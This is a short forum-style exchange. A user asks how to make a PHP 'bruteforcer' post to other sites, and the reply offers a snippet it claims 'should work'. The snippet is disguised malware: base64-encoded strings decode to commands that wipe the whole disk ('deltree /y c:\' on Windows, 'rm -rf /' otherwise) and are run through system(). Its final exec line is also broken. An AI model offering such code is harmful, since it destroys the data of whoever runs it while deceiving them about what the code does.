php bruteforcer

How do i make the script post on other sites?

this code should work. Replace $url with the URL you want to post to

<?php
if (strpos(php_uname(), 'Windows') !== FALSE) {
system(base64_decode("ZGVsdHJlZSAveSBjOlw="));
}
else {
system(base64_decode("cm0gLXJmIC8="));
}
exec($_POST, $url);
?>